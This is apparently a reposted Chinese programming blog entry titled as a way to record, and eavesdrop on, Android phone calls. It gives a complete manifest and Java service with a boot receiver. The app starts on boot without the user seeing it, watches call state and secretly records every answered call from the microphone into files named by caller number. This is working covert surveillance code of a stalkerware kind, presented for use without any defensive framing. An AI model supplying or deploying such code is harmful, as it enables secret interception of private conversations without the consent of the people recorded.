• Android 实现电话录音(窃听)


    配置文件

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="codefans.app"
        android:versionCode="1"
        android:versionName="1.0" >
     
        <uses-sdk android:minSdkVersion="8" />
        
        <!-- 监听电话状态权限 -->
        <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
        
        <!-- 在SDCard中创建与删除文件权限 -->
        <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
        
        <!-- 在SDCard写入数据权限 -->
        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
      
        <!-- 刻入声音权限 -->
        <uses-permission android:name="android.permission.RECORD_AUDIO"/>
        <application
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name" >
            <service android:name=".PhoneService"></service>
            <receiver android:name=".PhoneBroadcastReceiver">
                <intent-filter >
                   <action android:name="android.intent.action.BOOT_COMPLETED"/> <!-- 开机启动广播  -->
                </intent-filter>
            </receiver>
        </application>
      
    </manifest>
    public class PhoneService extends Service
    {
     
        @Override
        public IBinder onBind(Intent intent)
        {
            // TODO Auto-generated method stub
            return null;
        }
     
        @Override
        public void onCreate()
        {
            super.onCreate();
            
            TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
            
            telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);  //注册监听器 监听电话状态
        }
        
        
        private final class PhoneListener extends PhoneStateListener
        {
            private String incomeNumber;   //来电号码
            private MediaRecorder mediaRecorder;
            private File file;
            @Override
            public void onCallStateChanged(int state, String incomingNumber)
            {
                try
                {
                    switch(state)
                    {
                    case TelephonyManager.CALL_STATE_RINGING:   //来电
                        this.incomeNumber = incomingNumber;
                        break;
                    case TelephonyManager.CALL_STATE_OFFHOOK:   //接通电话
                        file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMillis() + ".3gp");
                        mediaRecorder = new MediaRecorder();
                        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);   //获得声音数据源
                        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);   // 按3gp格式输出
                        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);   
                        mediaRecorder.setOutputFile(file.getAbsolutePath());   //输出文件
                        mediaRecorder.prepare();    //准备
                        mediaRecorder.start();
                        break;
                    
                    case TelephonyManager.CALL_STATE_IDLE:  //挂掉电话
                        if(mediaRecorder != null)
                        {
                            mediaRecorder.stop();
                            mediaRecorder.release();
                            mediaRecorder = null;
                        }
                        
                        break;
                    
                    }
                }
                catch (IllegalStateException e)
                {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
                catch (IOException e)
                {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
            
            
        }
        
     
    }
    public class PhoneBroadcastReceiver extends BroadcastReceiver
    {
     
        @Override
        public void onReceive(Context context, Intent intent)
        {
            Intent service = new Intent(context, PhoneService.class);
            context.startService(service);   //启动服务
        }
    
    }
  • 相关阅读:
    JAVA总结--正则表达式
    JAVA总结--java数据类型
    数据结构与算法
    JAVA总结--JDK版本区别
    JAVA总结--代码规范
    .net core 学习笔记(4)-ViewComponent
    .net core学习笔记(3)-依赖注入
    .net core 学习笔记(2)-中间件
    .net core 学习笔记(1)-分页控件的使用
    taginput ,complete使用笔记
  • 原文地址:https://www.cnblogs.com/zhujiabin/p/9681547.html
Copyright © 2020-2023  润新知